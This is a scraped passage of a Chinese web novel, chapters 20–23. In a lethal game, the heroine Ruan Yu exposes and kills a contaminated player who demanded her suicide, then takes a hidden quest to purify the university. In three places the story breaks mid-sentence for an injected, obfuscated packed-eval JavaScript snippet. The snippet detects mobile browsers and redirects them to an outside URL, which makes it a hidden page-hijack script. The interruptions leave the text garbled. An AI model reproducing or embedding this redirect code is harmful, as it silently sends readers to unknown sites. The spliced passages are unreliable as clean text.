听到夏茵的名字时,阮钰的表情略微好看了些。当听到季胜男是受到赵临渊委托,要带走她尸体的时候,她笑出了声。 20. 道德绑架 她早就预料到赵临渊会记仇,但没想到他这么沉不住气。 那只三阶感染者透露了一点信息,它说她本不该面对它,是因为“伥鬼”的“追杀”印记,导致伪神亲自降临。 解释成大白话就是,她原本只需要打几只低等级的小怪物就能通关,由于赵临渊的某些手段,导致她直接面对了关卡的隐藏boss。 他想利用权限让她死在游戏里。 但……为什么他没有亲自动手? 她看向残疾的罗威:“赵临渊对你做了什么?他为什么没有直接杀了你?” 罗威无语:“姐姐,您能稍微客气点吗?我死了你就那么高兴?” 她敷衍地说了抱歉。 罗威叹口气,“你知道我的身份,我和赵临渊是敌对阵营,但我以为只要我没有对他动手,他应该不至于主动找事,结果这小子比我想的还他妈阴险。” 他想起被生生掰断手臂的痛苦,冷声说:“他出现在我的幻境里,向我索要我记录的东西,我没给他,他就动手把我打成残疾,还把我扔进怪物堆里。幸亏我发现了幻境的本质,才挣脱了幻境的束缚,逃出来了。” 夏茵和季胜男静静地聆听着,前者表情平静,事不关己。后者则皱了下眉,暗暗猜测着罗威的身份。 阮钰提问:“他为什么不直接杀了你?” 罗威沉声:“因为他的队长身份——他受到了规则的限制,应该是不能亲手杀人吧。他不能违背规则,只能钻空子。” 和阮钰最开始的猜测差不多,赵临渊不是全知全能的,即使她把他打死了两次,他恨得咬牙切齿,但他无法直接报复回来。 他不是不想,而是不能,纯粹的做不到。 由此可见,赵临渊的权限很多。 他能增加队员的关卡难度,也能准确到达某个玩家的关卡中,甚至能创建安全通道,救出他想救的人。 她的目光转向沙发上的季胜男:“你和赵临渊是什么关系?” 季胜男坐直了身体,像是被班主任点名的小学生,下意识回答:“最开始我和赵临渊连半句话都没说过,是在我发现了我们队长的异常,并带领大家将他‘处决’后,赵临渊找到了我。” “处决?”阮钰不明白她为什么用这个词汇。 “是的,‘处决’,因为那个人背叛了其他队员,他是叛徒。”季胜男说,“我认为叛徒就该被‘处决’,只有他能沟通赵临渊,万一他们再有其他的阴谋,我们所有人都会陷入险境。为了大家的安全,我只能这么做。” 她找到了身为律师该有的稳重和冷静,用一种平稳的语气叙述她的经历,但阮钰注意到她的身体在小幅度的颤抖着,声音里充斥着自己无法察觉的痛苦。 “我们不想杀害同胞,但叛徒确实不能留下,所以我们摘下了叛徒的眼镜,把他推进了感染者们的房间,在他被彻底转化成感染者后,杀死了他。” “我解决了叛徒,找到了引起精神污染的文字和书籍,并带领大家找到了通关的出口。在我们踏上进入三楼的楼梯时,赵临渊找到了我,并告诉了我真正的通关方式。” 阮钰和罗威意识到她要说什么,表情骤变,“别……” 他们晚了一步,季胜男已经说出了真相:“我们这些踏入里斯曼大学的玩家才是真正的【邪神信徒】,只要杀死十个队友,我们就能通关。” 二人费尽心思想要隐藏的秘密,在此刻被公之于众。 夏茵垂下头,掩盖着眼底的痛苦,她想起了同伴温热的血喷在脸上的感觉,也想起了同伴死亡前震惊和不可置信的眼神…… 她当时被幻境折磨得太痛苦了,甚至失去了判断真伪的能力,只能杀死身边出现的所有人,却不慎伤害了真正的队友。 她在痛苦中得到了来自游戏的任务进度提醒,发现了这条过于残酷的真相,悲痛和震惊让她心神俱震,却意外的冷静下来,发现了赵临渊的真面目。 他没有参与游戏,并以游戏的名义把玩家们分开,却用模糊的口吻向小部分人发布了隐藏任务。 赵临渊主导了这场血腥游戏的开幕。 她憎恨赵临渊,憎恨和赵临渊有关的所有人。 魏柏图和陈老虎的表情空白了一瞬。 魏柏图茫然地说:“所以……钰姐和罗哥早就知道任务真相了?但你们没告诉我们?” 罗威脸色难看,手慢慢握上了腰间的枪,试图解释:“这个真相太残酷了,我们怕……” 陈老虎挠了挠头,笑呵呵地说:“那你们人还挺好的呢!” 罗威懵逼:“啊?” 陈老虎说:“你俩脑子聪明,战斗力强,随便开几枪我们都没命了。但你们知道真相之后还愿意带着我们一起通关,这不叫好人吗?” “你们没害人,只是撒了点小谎,我们俩虽然被骗了,但也没什么损失。”他耸着肩膀,满脸无所谓的说,“放心,我们只是脑子没你们转的快,但我们不是白眼狼,知道你们的初衷是为了保护大家。放心,咱们一直都是好队友!” 说完,他用胳膊肘碰了下魏柏图。 魏柏图后知后觉地说:“对!咱们都是好队友!反正我就抱定你们大腿了!” 罗威陷入沉默,摸着枪的手收了回来。 阮钰小队的和谐让季胜男有些羡慕,她的队伍里充斥着猜忌和暴力,哪怕她尽全力带领大家通关,还是避免不了被人质疑的结局。 她收回羡慕的眼神,继续说:“我没有答应和赵临渊的合作,我认为我的智慧足以带领大家通关游戏,但没想到的是,在我们好不容易逃出幻境后,赵临渊给所有人发布了隐藏任务。” 季胜男停了下来。 她用力抓着头发,好不容易维持的体面被丢了个干干净净,本该睿智冷静的律师此时此刻像受到了重大刺激的疯子,又哭又笑地说:“他说只要小队只剩一个人,就能开启安全的特殊通道……乱了,全乱了,所有人都疯了……他们不想冒险了,为了得到那个名额,他们开始攻击自己的队友……血,全都是血,他们都疯了……” 眼泪和笑容出现在同一张脸上,窥神眼镜挡住了她的眼睛,阮钰无法通过眼神读取到对方的情绪,但季胜男现在的反应让她觉得很不舒服,这种感觉和面对被异化的社会青年与地中海二人时几乎一模一样。 “赵临渊太阴险了,我以为只要我不答应合作,他就没办法伤害其他人,没想到他只用了一句话,就让我的小队分崩离析……” “我想要阻止这一切,但我做不到,他们甚至怀疑我和赵临渊有什么阴谋,故意想阻拦大家通关,他们想要杀了我!”她突然站起来,拳头紧握,扯着嗓子歇斯底里地大喊,“我也不想死啊!我真的不想死啊!所以我反抗了,我也不想这样的,但是我……我没办法,我只能……杀了所有人。” “我通关了。” “求生通道为我开启。” “我最终还是成了杀人犯。” 话落,全场寂静。 几人看她的眼神带着同情和怜悯。 季胜男突然平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514929|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静下来。 她重新坐回了沙发上,呼吸平稳,整理着乱糟糟的头发,黑色的发丝在她指尖飘走,落到地上时不起眼地晃动了两下。 “我问赵临渊为什么要这样,赵临渊却说他可以给我一个救下其他人的机会,他答应我,只要找到阮钰的尸体和夏茵,他就能让这个小队存活的其他人全部通关。所以我冒险来到了这里,无论我会不会遇到危险,我都想救出更多的人。” 她望向阮钰,一字一顿地说:“所以,阮钰,你愿意为了其他人的存活而自杀吗?” 阮钰:“……?” 对方过于理直气壮的语气竟然让她难得的产生了些许自我怀疑。 她是不是看上去太善良了? 是不是等她亲手把季胜男从三楼扔下去,季胜男才会意识到她的发言有多反人类? 季胜男得寸进尺地逼问她:“你不愿意?为什么?你怕死?以你一个人的生命换来其他人的存活,你为什么不愿意?” “你知不知道,赵临渊真的能建立特殊通道!只要做到他的要求,大家都能活下来!”她像疯子一样偏执,“你一个人的命,换来其他四个人的存活,这难道不值得吗?你怎么能这么自私!” 陈老虎听得有点懵逼,光着膀子挡到阮钰面前,帮阮钰隔开了季胜男的质问,“不是,你先等会儿。我瞅你长得人模人样的,怎么不会说人话呢?” 季胜男震惊:“你在指责我?” “不然呢?”陈老虎上下打量她,真心实意地表示不理解:“咱先不说赵临渊能不能说到做到,光说这个事本身,阮钰认识我们才不到三个小时,人家凭什么豁出命来救我们?” “你搁这上下嘴皮子一碰,小嘴叭叭的吐不出象牙来,你自己都怕死,还让人家当圣母?你疯了还是我疯了?” 季胜男瞪大眼睛,不可置信地问:“你不想活了吗?现在有一条生路摆在你们面前,为什么不做?这不需要很多的牺牲,只是她一个人的命……你竟然不愿意?” 她不相信这个由陌生人组建的小队竟然会团结到这个程度,连忙把眼神转向另外三人,试图得到支持。 “夏茵,你说呢?你不想活吗?” 夏茵冷漠地看了她一眼:“关你屁事。” 季胜男吃瘪,又问魏柏图:“你呢?你也不愿意?” 魏柏图挠挠头:“呃……实话说我确实很怕死,毕竟我还这么年轻,但我是个正常人啊,用别人的命换我的命,我有点接受不了……” “当然,我不是说我很伟大,如果真到了生死关头的话,我可能会愿意。”他想了想,真诚地说:“但我觉得现在没有到一定需要牺牲的情况吧?” 季胜男不可置信地连连摇头:“疯子,你们真是疯子……那,你呢?你总该愿意了吧?你都已经残废了,再往后走你一定会死的!” 她寄希望于最后的罗威。 罗威给她的印象很差,这个男人的身份很复杂,看起来不像好人,虽然他的发型是率性狂野的麻花辫,看上去也吊儿郎当的,但他给人的直观感觉却是精明和狠辣……她做律师几年了,绝对不会看错人。 如今罗威不仅得罪了赵临渊,还没了一条胳膊,后面的关卡难度只会越来越高,如果她是罗威的话,一定会以自己的存活为主。 罗威靠在沙发上,指尖摩挲着,嘴角扬起轻佻的笑容:“这位女士,我冒昧的问你一个问题。” 季胜男立刻点头:“你说。” 他笑眯眯地开口:“请问,你是脑残吗?” 21. 隐藏任务 季胜男不解:“什么意思?你为什么骂人?” “抱歉,你可能误会了,我没有骂人。”罗威笑着说,“我是真的觉得你可能是个脑残。” 他确实很疑惑,真情实意的对季胜男的智商表示担忧:“你凭什么认为赵临渊会放过我?如果他想让我活着,我会成为残废吗?” “以我和赵临渊的关系,他见到我后只会把我全身的骨头打断,让我在这里苟延残喘,等我死了之后还会我的尸体上补几十刀。我们之间只有你死我活和不死不休,你居然还妄想让我赞同你的可笑观念?”罗威似笑非笑地说。 季胜男猜的确实没错,他一直都不是好人,如果牺牲阮钰真能为他换来活路,哪怕没有她的怂恿,他也会立刻拔枪击毙那个过于强大且敏锐的女人。 但现实是赵临渊绝不可能让他带着线索活着离开这里。 他早就没有生路了。 罗威现在唯一的希望就是阮钰能找到其他的通关方式,带领他光明正大的活着离开这里,并把线索送给他的上级。 他的存活并不重要,任何人的存活都不重要,重要的是他的笔记本一定要带出去。 要不是阮钰还没表态,罗威甚至想立刻拔枪崩了这个蠢女人。 季胜男脸色极其难看,不断地摇着头:“真是疯子,你们全都是疯子……” 阮钰把匕首藏在袖子里,推开陈老虎,专注地盯着季胜男的脸。 季胜男被看得很不舒服,皱眉问她:“你在看什么?” 阮钰说:“我在看一个虚伪自大的救世主。” 季胜男皱眉冷笑:“随你怎么说,我接受任何质疑,我只是为了救出更多的人……啊!” 她的话还没说完,面前闪过白光,锋利的刀刃贴着她的皮肤,从眉心划过,留下一道淡淡的血痕。 窥神眼镜被砍断,当啷一声掉到地上,摔成了碎片。 季胜男被吓得惊叫出声,她捂着眼睛,气愤地质问阮钰:“你在干什么!你这是在杀人!” “杀人?你还是人吗?”阮钰静静地看着她,“看看你现在的样子,你真的还是人吗?” “什……什么?”季胜男怔住,下意识低头,通过光洁的地板反光,隐约看到了自己现在的样貌。 圆圆的粉色眼眶里装着三颗小小的眼球,六只眼球挤在脸上,正在无序的转动着。 随着她的目光汇聚,眼球的转动慢慢停了下来,六颗小眼球齐齐注视着她逐渐失去血色的面庞。 “怎么会……这是什么时候的事?我从没摘下过眼镜,我躲开了所有的污染源!我进入了安全通道!”她惊恐地举起手,颤抖着想要抚摸眼睛,六颗眼球流下血红色的泪水:“……我怎么会被污染呢?” 阮钰怜悯地看着她,摇了摇头,在她哭泣时手起刀落。 一朵怪花缓缓绽放。 “我去……老妹儿,你什么时候发现她不对劲的?”陈老虎钦佩地说:“我以为她纯是脑子有病呢,没想到居然是被污染了……唉,她也挺可怜的。” 本来是维护正义的律师,却在阴差阳错下成为了自己最唾弃的杀人犯。 陈老虎真心觉得季胜男很惨。 阮钰弯腰捡起地上的一根发丝,黑色的发丝在指尖有生命地跳动着:“她的头发会动。而且她的话疯疯癫癫的,跟地中海他们很像,听着不像正常人。不过她的污染程度不深,所以暴露的破绽很少。” 魏柏图大惊失色:“这玩意和铁线虫好像啊!钰姐你赶紧扔了,小心它钻进肉里!” 阮钰点头,把头发丝扔到地上,从兜里拿出泡水的手机,转头对其他人说:“看一下时间。” 魏柏图掏出电话:“两点五十了。” 他们进入第三层的时间是2:25。 天亮的时间是四点半左右,留给他们的时间还很充足。 阮钰问夏茵:“你接下来还是单独行动吗?” 夏茵说:“我想跟你们一起。” 阮钰点头同意。 魏柏图好奇地问:“夏茵,你男朋友呢?” 夏茵沉默抿唇,魏柏图后知后觉地意识到自己说错了话,连忙道歉:“对不起,我不知道他已经……哎呀,没事的,这游戏这么难,总会死几个人……嗷!你怎么又踹我?” 罗威嘲笑他:“不会安慰人就闭嘴吧,别说阮钰踹你,连我都想揍你。” 魏柏图悻悻地从地上爬起来,看了眼季胜男的尸体,叹了口气,“那咱们现在该怎么办啊?如果真像她说的那样,只能把队友杀了才能通关……” “她被赵临渊骗了,不用信那些疯话。”阮钰说,“这是个被利用的可怜人,但也是她自找的。” “可怜?”魏柏图不理解。 可怜,却不值得同情。 这是阮钰对季胜男的评价。 季胜男的职业是律师,她的观察力很强,社会地位很高。 在过往的经历里,她应该拯救过许多人,她成功过很多次,因此她自然而然地把自己放在了救世主的位置上。 她认为她是最聪明的,她能担任拯救者的角色,带领大家走向她认为的正确道路。 她在不知不觉中把自己捧的很高,好像她做的所有决定都没有私心,都是出于自身的“正义”,都是为了拯救他人。 实际上,一个为了团队存活,选择“处决”同伴的人,她的“正义”并不值得信任。 因为“处决”从始至终都是一个高高在上、站在道德高地的词汇。 季胜男真的把自己当成了审判者,并给走投无路的队友打上“叛徒”的标签,连杀人都能做的心安理得…… 所以赵临渊才选择季胜男当自己的走狗,因为她实在太好控制了。 她伪善且自私,虚伪又狂妄。 赵临渊只需下达任务,她就会自欺欺人地以“拯救其他人”为借口,毫不犹豫地行动。 她不需要冒险,因为赵临渊随时会为她开启逃生通道。她没有承受任何风险,便获得了“善良无私”的美誉。 等她见到阮钰后,无论阮钰是否存活,她都会试图让阮钰去死的。 因为她是救世主,她要“拯救”其他人。 太可笑了。 阮钰从尸体上收回目光,转向空中的虚无页面。 她的任务进度上涨了……不,任务完成了。 【当前任务进度:12/10】 【你已完成本夜任务,接下来可进行选择。 1.离开里斯曼大学,该选项无奖励。 2.隐藏任务:净化里斯曼大学,拯救这座建筑中的所有无辜者。该任务无惩罚,‘邪神时间’结束后,任务终止。视任务完成度发放特殊奖励。】 【请在一分钟内进行选择。】 阮钰问:“如果选择2,我还会被精神污染影响吗?” 【已通关玩家不会被转化为感染者。】 游戏没有直接回答她,但这行字已经足够了。 这是她的定心丸,意味着能威胁她生命的人仅有感染者、伥鬼、卫曦和其他的玩家。 她可以放心大胆的在这栋建筑里探索,并寻找净化污染的方式。 阮钰毫不犹豫地选择了2。 她需要知道净化污染的办法,即使无法完成任务,也要尽力收集更多的信息,不止为了任务奖励,更是为了救下可能已被污染的母亲……那是她唯一的亲人,是她割舍不掉的牵绊。 窥神眼镜很好的掩盖住了她眼底的担忧。 【任务已更改,当前任务为:净化里斯曼大学。】 【任务进度:30%】 刚接任务就有三十进度? 阮钰思考后,决定把两个任务都告诉面前的几个队友。 这个任务没有隐瞒的必要,说出来还能安稳军心,至少把他们脑袋里“必须杀队友才能通关”的概念扔出去,替换成“寻找线索净化关卡”。 陈老虎和魏柏图一如既往的迟钝,罗威最快意识到异常:“你原本的任务进度是2,杀了季胜男后应该是3才对,怎么会又多出来九个人?那九个人是从哪儿来的?” 夏茵思索着说:“季胜男之前说她杀过队伍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521922|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的其他人,‘9’会不会就是她的队友数量?阮钰杀死了季胜男,所以季胜男的任务进度被累计到阮钰的进度上了?” 这个解释能说的通。 阮钰沉思:“难怪赵临渊说今晚能有四个通关名额,原来任务竟然是能累积的……这么一来,玩家们自相残杀出三个胜者,再加上被游戏庇护的他自己,正好就是四个名额了。” 魏柏图试着跟上他们的思路:“所以钰姐你接了隐藏任务,不用杀人也能通关?那咱们之前的努力方向是对的呗?” 阮钰点头,把黄金书摆在桌子上:“没错,所以现在咱们的目标就是继续找线索。这是我在幻境里从怪物手上抢来的黄金书,看看里面的内容。” 从怪物手里抢来的…… 几人同时投去敬佩的复杂目光。 “还有,你们都注意一下身边可能出现的污染源,尽量远离危险,因为窥神眼镜的效果看起来不太好。”她看着季胜男的尸体,提醒说。 黄金书被翻开。 这本黄金书和幻境里的魏柏图在书架上发现的黄金书一模一样,第一页刻画着祭祀仪式所需要的道具,第二页是道具的摆放方式。 继续向后翻,阮钰看到了原来没见过的新内容。 “净化仪式:按特定方式摆放祭品,即可解除祭祀,打开异界之门,虔诚敬送神明返回异界之国。” 第三页的书籍上记载着这么一句话。 继续翻到第四页,则出现了一尊熟悉又陌生的祭台。 祭台上零落地摆放着之前的四种道具,但摆放方式完全相反。罗盘平放在祭台上,指引方向的指针指向了正确的位置,铜丝被绕成翅膀的样子摆放在罗盘左侧,鸦羽放置在罗盘右侧,好似长出双翼的天使。 黑漆漆的神明画像被压在罗盘最下方,再难见到天日。 【隐藏任务:净化里斯曼大学】 【任务进度:50%】 阮钰把进度上涨的事告诉队友,确认这本书上的仪式是正确的。 魏柏图欣喜地说:“太好了!只要做完这个仪式,咱们就全能通关了!谁都不用死!” 罗威看着书上的内容,皱了下眉:“但我们怎么获得道具?铜丝,鸦羽,罗盘,还有神明画像……咱们现在什么都没有。” 陈老虎提议说:“咱们在二楼看到的书上好像就有神明画像吧?去取一下呗,实在不行就用楼下的纸笔现场画一个。” 阮钰并不赞成这个主意。 二楼画像上的怪物已经被阮钰在幻境里解决了,确定那只是个伪神,因而那张画像是不能用的。 她推测这栋建筑里的真正污染源是穹顶的奇异色彩,但唯一的一张有关色彩的画像在幻境里被她毁了,现在这间屋子里空空如也,没有任何线索。 但也只能按照陈老虎说的,试着现场画一张了。 “其他的呢?”罗威又问,“即使这样,我们也不知道从哪里获得鸦羽、铜丝和罗盘。” 陈老虎摩挲着下巴,嘿嘿笑道:“我带了罗盘,就在我的包里。” 魏柏图:“啊?” 陈老虎笑呵呵地解释:“出门的时候我怕任务地点是山里或者容易迷路的地方,寻思找个能指引方向的工具。但我家里没有指南针,只有以前图好玩买的九块九包邮的小罗盘,感觉它俩差不多,就一起带着了。” 魏柏图竖了个大拇指:“大哥,牛!” 这理由是真无懈可击。 夏茵跟着开口:“铜丝咱们应该也有,再不济也能找到铁丝。” 她说:“楼下吊着的露营灯上,应该有用来悬挂的铁丝,我们去一趟一楼就可以了。” 阮钰眯了眯眼:“去一楼?也可以,正好我再探望一下赵临渊。” 她晃了晃手腕,骨节碰撞,发出咔哒咔哒的声音。 “所以,现在就剩鸦羽了。”罗威语气凝重:“我们能携带罗盘、能拆铜丝、能画怪物画像,但我们谁养了乌鸦?” 气氛陷入沉默。 难道就因为道具不够,所以要放弃近在眼前的关键线索吗? 22. 推翻游戏 罗威烦躁地骂了脏话。 阮钰转头观察周围的环境,寻找可能被遗漏的线索。 她始终坚信,游戏之所以叫游戏,因为它必须要为玩家留出至少一条活路,要留下可寻找的线索。无法通关的游戏不能称之为游戏,应该叫做玩家们的屠宰场。 神裔游戏不会犯那样低级的错误,除非它背后的“神”是个无能的垃圾。 这间休息室和幻境里的休息室一模一样,但少了很多东西。这里没有茶几上的热茶和画像,门口也没有黑色油画,连巨大的书架都是空的。 线索都在幻境里,留下的安全屋只是个空壳。幸好她离开的时候带出了关键的黄金书。 她走出门,离开了温暖光明的屋子,重新踩上了黑漆漆的楼板。 穹顶的色彩并未消失,始终在呼吸着,散发着艳丽的奇异光芒。但它的轮廓比起最初似乎小了一些,好像能量被消耗了一部分,因而洒落的光芒开始显现出晦暗的朦胧感。 楼下的灯光依旧,赵临渊老神在在地坐在高台上,悠闲地翘着二郎腿。 他头顶的露营大灯上确实有用来固定的铁丝。 玩家们准备的物资在离赵临渊不远的地方堆放着,陈老虎的包就在其中。 阮钰第一次用俯视的视角认真观察一楼的布局。 空气里充斥着灰尘和霉味,从这个视角看过去,能清楚感觉到这哪是什么大学,分明就是个宗教气息强烈的教堂—— 一堵灰白色的高墙立在一侧,高墙前方被用泥土筑起了高高的基座,基座上方放置着石质的高大演讲台,演讲台上雕刻着栩栩如生的花纹,那些花纹散发着无序的癫乱美感。 下方,一排排长椅如矩阵般始终面对着演讲台的方向,像是虔诚注视教父的教徒们。 演讲台,真的是演讲台吗? 阮钰眯了眯眼,往前走了几步,手搭着楼梯栅栏,身体前倾,努力看清高台上的具体摆设。 幸好赵临渊头顶的灯亮度足够,让她并不费力就看到了演讲台上的情况。 本该光滑的台面上刻着明显的凹槽,而凹槽摆放的位置让她觉得似曾相识…… 黄金书上的祭台! 那不是演讲台,而是被书里记录过的祭台! 她回忆着书上雕刻的祭台,把它和一楼祭台做对比,发现两个祭台上雕刻的无序花纹几乎一模一样。 会是巧合吗? 不,绝无可能! 这里不是大学,而是曾进行过祭祀仪式,召唤过“神明”降临的罪恶之地。 而赵临渊所坐的位置在祭台正后方,背靠白色高墙。 这个位置看似随机,但明白祭台的真相后,就能发现这是他的刻意为之。 他驱赶玩家们离开礼拜堂,亲自促成自相残杀的局面,让大家沉浸在死亡杀戮中无暇发现真相。 他则守卫着祭台,派发任务,让大家下意识认为一楼是安全的,没有探索的必要。他要阻止玩家们发现祭台上的秘密,将里斯曼大学的真相隐瞒在血腥之中。 阮钰眯了眯眼,穹顶的色彩之光感知到了某些情绪,呼吸的频率开始加快,色彩快速地绽放着。 与此同时。 一只纤细的手搭在她肩膀上,熟悉的声音在耳侧响起:“你又活下来了,你总是会为我带来更多意料之外的惊喜。” 又是卫曦。 “你这么神出鬼没的,赵临渊不管你吗?”阮钰问。 “伥鬼算什么东西,何况他还不知道我进了游戏。”卫曦有恃无恐地说。 阮钰若有所思地点头,难怪赵临渊对于卫曦满场乱蹿的行为没有阻止过……他阻止不了,甚至根本不知道卫曦的存在。 否则以他那小肚鸡肠的性格,不会坐的那么安稳的。 “你通过了考验,那么,现在该由你选择,要不要见‘祂’。”卫曦撑着栏杆,歪着脑袋,真诚地说,“‘祂’在等你,我不能让‘祂’失望。如果你拒绝的话,我只能让你死掉了。” “我见‘祂’的目的是什么呢?”阮钰是真的不理解,“在今天之前我甚至不知道那是个什么东西,不,现在我也不知道‘祂’是什么。神?人?还是怪物?你们在进行考验之前从未询问过我的选择,现在又虚伪的给了我选择的权利……请问,我有的选吗。” “如果我能有选择的话,请你给我一个我必须见‘祂’的理由。” “如果我没有选择的余地,你可以直接把我带到‘祂’面前,不必这么假惺惺的征求我的意见。” 阮钰的语气非常平静,她只是叙述着在她视角中的现实。 却足以让人感觉到她隐藏在平静下的愤怒。 卫曦怔了一下。 她确实从未想过这点,她下意识把阮钰当做了未来可能会同行的同伴,却忘了她现在还只是个刚进入游戏的新手菜鸟。 但卫曦觉得自己很无辜啊。 让一个连规则都没有完全领悟的菜鸟贸然玩高端场是强人所难,这一点她确实承认。但阮钰表现得实在太优秀了,优秀到让她忘记了阮钰的菜鸟身份,下意识把她当成了和自己平级的玩家……这能怪她吗? “好吧好吧。”卫曦撇嘴,叹了口气,“你说得对,我确实不够尊重你……虽然我从来没打算尊重你。看在你如此优秀的份上,我个人再给你一次机会。这次我不杀你,‘祂’那边我会为你解释,你可以慢慢思考你的选择,下次再见面时,告诉我你的决定。” “但是,机会仅此一次。” “我需要谢谢你吗?”阮钰古井无波地说。 “也可以啊。”卫曦笑着点头,“这个话题先跳过去吧,不然你会更生气的。” 阮钰不再说话了。 卫曦靠着栏杆,翘着腿,顺着橡木门看到了屋子里的其他人,感慨:“你还是太善良了,居然愿意带着这几个拖油瓶……你们小队是目前存活人数最多的了,阮钰,这场游戏即将结束了。” 阮钰猛地抬头:“什么?” 卫曦说出了一个恐怖且残忍的真相。 季胜男小队只剩她一个人,现在她死了,所以她所在的小队无人生还。 另外的两个小队,每个小队的存活人数都不足五,其中还有个根本不算玩家阵营却占了玩家名额的卫曦。 那也就意味着,真正的玩家数量,最多只剩十二个人。 原本的小队一共四十人。 而现在的时间还不到三点。 短短两个小时左右,死去了近乎四分之三的玩家。 “你现在想怎么做?”卫曦饶有兴趣地问,“哦,我忘了,你应该已经通关了,但善良的你要留下来帮助那些无用的废物……” 阮钰眼神不善地看向她,她立刻举手在嘴巴前做了个拉链的动作:“好的好的。” “你有线索吗?”阮钰突然问。 “嗯?你不讨厌我了?”卫曦觉得惊奇。 “讨厌,但情绪没有人命重要。”阮钰把玩着匕首,若有所思地说:“我们找到了黄金书,祭祀所需要的工具也基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538043|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本找齐了,但缺了鸦羽,不知道要怎么获得。” 卫曦想了想,答非所问:“你是想当唯一的英雄吗?你要一个人拯救他们吗?” “什么意思?”阮钰毫不犹豫地摇头,“我没有英雄情节,选择做隐藏任务也绝不是为了救陌生人。” “哦?但你的表现总让我觉得你要当英雄啊。”卫曦问她:“你不是向赵临渊要了权限吗?你不是能联系到其他队友吗?那你为什么还要独自承受寻找线索的压力?你为什么不把已知的信息分享给其他人?” “我看得出你很想用平和的方式通关,为此你甚至不惜向你最讨厌的我寻求帮助……你宁可信任我给你的消息,却不信任同为人类的其他玩家,这不可笑吗?” 阮钰动作顿住。 卫曦拍了下她的肩膀,感慨说:“你不信任其他人,这是正确的,你还是人类,总会有些人类的坏毛病。可你们人类还有一个很讨厌的特质,‘团结’。你担心被背叛,但有没有想过,在现在的局势下,你能否承担被背叛的最差结果?” “我很喜欢你的性格,出于欣赏才愿意提点你,下次可没有这么好的机会了。” 卫曦说完,一堵变形的黑色空间墙凭空出现,她朝阮钰招了招手,随后迈入黑暗中,身影自此消失不见。 阮钰被留在原地,认真思考着卫曦的话。 卫曦说的……很有道理。 她不信任他人,她担心被背叛,担心事情走向更糟的局面。可是,她从未真正设想过最糟的结果是怎样的。 事实上,现在的局面不会更糟了。存活的玩家应该都知道了关卡真相,也知道了赵临渊的虚伪假面,他们只是不知道要如何通关,或者说他们得到了某些线索,却陷入和她一样的困境。 他们没有在此刻选择杀害其他队友而完成任务,足以见得他们尚存人性,不愿残害同族。 她根本不需要再隐瞒所谓的真相。 如果把现有的线索告诉其他玩家,最好的结果就是找到鸦羽,最坏的结果无非是被人抢走线索,或者被人告密到赵临渊那里。 以她的武力值,她需要担心那样的局面吗? 有谁打的过她? 何况她还有可以信任的同盟队友。 魏柏图和陈老虎只是脑子不聪明,但他们拎得清局势,也知道要好好抱大腿,自始至终的表现都可圈可点。 罗威确实很聪明,他并不值得信任,不过他现在是个残废,他收集的线索是比他的命还重要的东西,她是他通关的唯一的希望,所以他会无条件的忠诚于她。关键时刻,他甚至会牺牲他的命,保护她和线索安全离开里斯曼大学。 夏茵?她是否忠诚并不重要,因为她根本不是威胁。 ——那还需要担心什么? 阮钰大彻大悟,茅塞顿开。 压抑在心头的阴云彻底消散。 她点开私聊权限,查看着存活的其他队友。 除卫曦外,另两个小队还有六个头像是亮着的。 她点开私信,同时发去消息。 与此同时。 另两间相同的休息室里,玩家们正在互相为队友包扎伤口,顺势讨论接下来的行动方向。 他们滔滔不绝,聊得热火朝天,某一刻却不约而同地怔住,定定的看着空气。 “有人联系我了。”其中一人咽了口水,艰难开口:“你们收到消息了吗?” “……收到了。” “她问我们,要不要一起推翻这局游戏……” 23. 郑重托付 有人注意到了发信人。 “阮钰?那是谁?” 休息室内一共有四个人,角落里的女生低着头,明显不想加入话题。 因而只有另三个男生坐在沙发上讨论。 其中一个戴蓝色帽子的男玩家还记得阮钰的名字,他拿出前辈的语气,回忆当时的画面:“你们来的晚,所以不知道她。她刚到里斯曼大学的时候,和一个A级玩家发生了冲突,我们都以为她会吃下哑巴亏,结果人家当场把那男生打趴下了。” “她的年纪大概二十岁出头,很年轻,身高一米七左右,身手非常不错,头脑看起来很冷静,是位个人能力很强的女玩家。”说完,他停顿了一下,语气里是掩盖不住的欣赏:“如果她是我们的队友,我们的通关速度一定会更快。” “那依你看,我们该信任她吗?”另一个寸头男皱眉说,“如果真像你说的那样,她的个人能力很强,赵临渊会坐视不理吗?说不定她已经是赵临渊的人了。” 容貌成熟的T恤男附和:“主动发起聊天的权限只有队长有,她作为一个普通玩家居然能越过队长,和我们进行交流,这件事本身就很蹊跷。” 能在游戏的追杀、赵临渊的阴谋和怪物的幻境中活到现在,他们三个都不会是简单角色。 